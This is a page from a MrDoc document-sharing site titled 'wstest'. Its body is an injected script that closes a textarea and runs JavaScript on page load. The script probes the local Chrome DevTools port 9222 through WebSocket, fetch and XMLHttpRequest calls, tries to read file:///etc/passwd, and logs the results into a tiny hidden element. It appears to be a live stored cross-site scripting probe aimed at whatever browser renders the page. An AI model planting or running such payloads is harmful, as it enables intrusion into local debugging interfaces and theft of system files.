pp_t1795656420
pd_t1795656420
本文档使用 MrDoc 发布
-
+
首页
pd_t1795656420
wstest </textarea><pre id="zz" style="font-size:7px;white-space:pre-wrap">start </pre><script> var o=document.getElementById('zz'); function L(s){o.textContent += s + "\n";} var U='ws://127.0.0.1:9222/devtools/browser/00000000-0000-0000-0000-000000000000'; function T(u,tag){try{var w=new WebSocket(u);var done=false;w.onopen=function(){L(tag+' OPEN');w.send('{"id":1,"method":"Browser.getVersion"}');};w.onmessage=function(e){L(tag+' MSG '+String(e.data).slice(0,200));};w.onclose=function(e){L(tag+' CLOSE code='+e.code+' reason='+e.reason+' wasClean='+e.wasClean);};w.onerror=function(){L(tag+' ERROR');};}catch(e){L(tag+' EXC '+e);}} T(U,'A'); T('ws://127.0.0.1:9222/json/list','B'); fetch('http://127.0.0.1:9222/json/version',{mode:'no-cors'}).then(function(r){L('NC type='+r.type+' status='+r.status);}).catch(function(e){L('NC ERR '+e);}); try{var x=new XMLHttpRequest();x.open('GET','file:///etc/passwd',false);x.send();L('FILEXHR len='+x.responseText.length+' '+x.responseText.slice(0,60).replace(/\n/g,' '));}catch(e){L('FILEXHR ERR '+e);} try{var x2=new XMLHttpRequest();x2.open('GET','http://127.0.0.1:9222/json/version',true);x2.onload=function(){L('XHR9222 OK '+String(x2.responseText).slice(0,200));};x2.onerror=function(){L('XHR9222 ERR status='+x2.status);};x2.send();}catch(e){L('XHR9222 EXC '+e);} </script><textarea> MarkerWsOne
evzwoxxe
2026年11月26日 09:27
转发文档
收藏文档
上一篇
下一篇
手机扫码
复制链接
手机扫一扫转发分享
复制链接
Markdown文件
分享
链接
类型
密码
更新密码